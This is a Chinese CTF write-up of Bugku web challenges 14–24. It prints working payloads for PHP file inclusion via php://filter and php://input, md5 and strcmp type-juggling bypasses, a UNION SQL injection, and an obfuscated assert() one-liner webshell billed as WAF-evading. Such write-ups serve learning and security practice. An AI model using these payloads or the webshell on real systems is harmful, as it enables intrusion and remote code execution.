## bugku web总结(14-24)
web14: 打开题目,可以看到一个链接click me
点击后显示了index.php,可能提示flag存在index.php中
如上图我们还可以看到多了一个参数file,很像是文件包含,这里我们可以尝试使用php伪协议读取文件内容,放上一个介绍php伪协议的文章链接https://segmentfault.com/a/1190000018991087
构造payload:php://filter/read=convert.base64-encode/resource=index.php,其中read为读过滤器,此项为选填,这里选用了base64编码,防止无法直接传输,resource为必填,指定我们要读取的数据流
拿到一串base64编码
hackbar解码,可以看到源码中有一行注释,成功拿到flag
web15: 打开之后提示输入5位密码
直接burp扔给intruder爆破,没什么好说的
web16: 点开题目之后,给了一串md5值
解密之后显示空密码,右键查看源代码也看不到什么特殊东西
结合题目的名字,叫做备份是个好习惯,我们目录扫描一波后台,看看能不能发现备份文件
不出所料,有一个index.php.bak文件
我们访问它,将其下载下来,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include_once "flag.php" ; ini_set("display_errors" , 0 ); $str = strstr($_SERVER ['REQUEST_URI' ], '?' );$str = substr($str ,1 ); $str = str_replace('key' ,'' ,$str ); parse_str($str ); echo md5($key1 ); echo md5($key2 ); if (md5($key1 ) == md5($key2 ) && $key1 !== $key2 ){ echo $flag ."取得flag" ; }?>
这里既要key1和key2的md5值相等,原值又不能相等,有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件
payload:?kekeyy1[]=12agh&kekeyy2[]=123ccnjgg
二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件
payload:?kekeyy1=240610708&kekeyy2=s155964671a
web17: 点开题目之后,给了一个成绩查询页面
很自然的想到sql注入,经测试是个字符型的,无任何过滤,没啥好说的,手注、sqlmap均可
最后得到flag,payload:0’ union select 1,2,3,skctf_flag from fl4g#
web18: 点开题目之后,给出一个算式,让我们2s给出结果
很显然手工做不到,但是可以借助脚本获取数值之后计算传参,拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 import requests import re url = '''http://114.67.246.176:10736/''' s = requests.session() retuen = s.get(url) equation = re.search(r'(\d+[+\-*])+(\d+)' ,retuen.text).group() result = eval (equation) key = {'value' :result} flag = s.post(url,data=key)print (flag.text)
web19: 打开题目之后,会提示我们快一点,bp抓包查看返回信息,可以在header中看到一串类似flag的东西
base64两次解密后会变成一串数字,提交上去也不对,把请求包再send一次,会发现flag会变,好吧,确实速度要快,和上一题基本一个思路,下面给出脚本代码
1 2 3 4 5 6 7 8 9 import requestsimport base64 url = "http://114.67.246.176:17056/" r = requests.Session() headers = r.get (url).headers str1 = base64.b64decode(headers['flag' ]) str2 = base64.b64decode(repr(str1).split (':' )[1 ]) # repr()函数将对象转化为供解释器读取的形式(Bety- >str ) data = {'margin' :str2}print (r.post(url,data).text )
python3运行,成功拿到flag
web20: 打开题目之后,会给出一长串不明意义的字符串,右键查看源码也并没有发现什么
观察url,有两个参数,一个line是空的没有赋值,另一个filename给了一串base64编码:a2V5cy50eHQ=,解码之后得到keys.txt,将文件名换为同样base64加密后的index.php,可以看到一个标签”<?php”,可以确定此处能够查看源码,依次改变line值,最后可以读出整段源码,如下
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0 );$file =base64_decode(isset ($_GET ['filename' ])?$_GET ['filename' ]:"" );$line =isset ($_GET ['line' ])?intval($_GET ['line' ]):0 ;if ($file =='' ) header("location:index.php?line=&filename=a2V5cy50eHQ=" );$file_list = array ('0' =>'keys.txt' ,'1' =>'index.php' ,);if (isset ($_COOKIE ['margin' ]) && $_COOKIE ['margin' ]=='margin' ){ $file_list [2 ]='keys.php' ;} if (in_array($file , $file_list )){ $fa = file($file ); echo $fa [$line ];}?>
从代码中可以看到,当cookie为margin=margin时,会在file_list[2]数组中增加keys.php的值
我们照做,使用hackbar或burp抓包添加cookie值后,查看返回包或返回页面源码,即可拿到flag
web21: 点开之后没看到啥提示信息
右键查看源码,可以看到提示了一个1p.html
直接访问此页面的话,会跳转至bugku的首页,我们用burp抓包,将请求页面替换为1p.html
返回的数据包中包含一串url编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <HTML > <HEAD > <SCRIPT LANGUAGE ="Javascript" > <!--var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord ( ) {var NewWords;NewWords = unescape (Words); document .write(NewWords); } OutWord();</SCRIPT > </HEAD > <BODY > </BODY > </HTML >
解码之后得到一串注释
1 2 "<script > window .location.href='http://www.bugku.com' ;</script > "
将注释base64解码,终于得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ";if (!$_GET ['id']) { header('Location: hello.php?id=1'); exit (); }$id =$_GET ['id'];$a =$_GET ['a'];$b =$_GET ['b'];if (stripos($a ,'.')) { echo 'no no no no no no no '; return ; }$data = @file_get_contents($a ,'r'); if ($data =="bugku is a nice plateform!" and $id ==0 and strlen ($b )>5 and eregi("111" .substr ($b ,0,1),"1114" ) and substr ($b ,0,1)!=4) { $flag = "flag{***********}" }else { print "never never never give up !!!" ; } ?>
①:首先要求data的值,即a的内容为bugku is a nice plateform!,id不为0,且长度大于5,substr($b,0,1)为截取b的第一个字符(从第0个开始读取1个),111+b的第一个字符需要在1114中出现,且b的第一个字符不能为4
总结一下,想要输出flag,必须满足几个条件:a要为bugku is a nice plateform!,id不能为空但需要id==
0,此处可以使用0e1234来绕过(会识别为科学计数法),也可以使用0abc来绕过,php是弱类型语言,数字和字符(串)的比较是存在类型转换的,对字符串来说是以开头的数字为准,所以在松散(==
)比较中,0==
0abc是正确的,详情可以百度==
和===
的差别,最后还要满足上文①中b的要求,这里可以用.12345或*12345来绕过,这两个符号为php的通配符,放在此处取第一个字符后会被当成是任意字符
最终payload:?id=0e123&a=php://input&b=.12345,另外需要在下面加上post传参bugku is a nice plateform!
得到flag
web22: 这题并没有把提示放在题目中,而是放在了题目入口处
送给大家一个过狗一句话
1 $poc ="a#s#s#e#r#t" ; $poc_1 =explode("#" ,$poc ); $poc_2 =$poc_1 [0].$poc_1 [1].$poc_1 [2].$poc_1 [3].$poc_1 [4].$poc_1 [5]; $poc_2 ($_GET ['s' ])
分析一下,这一串代码总结下来:
1.$poc=a#s#s#e#r#t
2.$poc_1=explode("#",$poc)
,这个函数的意思是以#为定界符,分隔字符串$poc
,即$poc_1=assert
3.$poc_2=$poc_1=assert,$poc_2($_GET['s'])
的含义就是assert($\_GET['s'])
,assert函数可以进行代码执行
那接下来就好办了,先dir看下当前目录下的文件
看到了flag文件,直接cat查看,拿到flag
web23: 点击进入题目,直接给了一段源码
1 2 3 4 5 6 7 8 <?php highlight_file('2.php' );$key ='flag{********************************}' ;$IM = preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i" , trim($_GET ["id" ]), $match );if ( $IM ){ die ('key is: ' .$key ); }?>
一开始看到源码中提示了一个文件2.php,切换到这个文件,会发现返回的页面依旧是这个页面,没办法,那就看看源码
源码中给$key赋值了flag,并在下面的if判断中利用die函数输出了这个值,那么我们现在的目标就是让下面这个if判断成立,要成立就要$IM为真,此处$IM为preg_match函数的一个返回值,这个函数是判断搜索第二个参数与第一个参数的一个正则匹配,即第二个参数trim($_GET["id"])
中是否存在第一个参数"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"
,如果存在返回true,不存在返回false
解释一下这个参数中涉及到的一些符号
1 2 3 4 5 6 7 8 9 10 11 12 13 . 为通配符,表示一个任意非\n和\r单字符 .*为字符串通配符,详情可百度"贪婪匹配" \为转义符 [a-z]为任意小写字母[[:punct:]] 为任意符号 /i为不区分大小写 ()标记一个子表达式的开始和结束位置,此处不用理会
最后得到payload: ?id=keyakeyaaaakey:/a/akeya?
成功拿到flag
web24: 点开题目之后,是一大段文字,讲了个小段子,玩了一下php的梗
查看页面源码,发现给了一个链接
点击进去,这个txt给了一段源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; $v3 = $_GET ['v3' ]; if ($v1 != $v2 && md5($v1 ) == md5($v2 )){ if (!strcmp($v3 , $flag )){ echo $flag ; } } }?>
看了源码之后,会发现这题和前面的web16很像,都是既要md5值相等,又要原值不相等
有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件
二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件
这里还多出来一个strcmp函数,这个函数的作用是比较两个字符串,且只有两个字符串相等时,才会返回0,这里利用strcmp对数组不起作用,直接返回0来绕过
构造payload:?v1[]=1&v2[]=2&v3[]=1
得到flag
看了源码之后,会发现这题和前面的web16很像,都是既要md5值相等,又要原值不相等
有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件
二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件
这里还多出来一个strcmp函数,这个函数的作用是比较两个字符串,且只有两个字符串相等时,才会返回0,这里利用strcmp对数组不起作用,直接返回0来绕过
构造payload:?v1[]=1&v2[]=2&v3[]=1
得到flag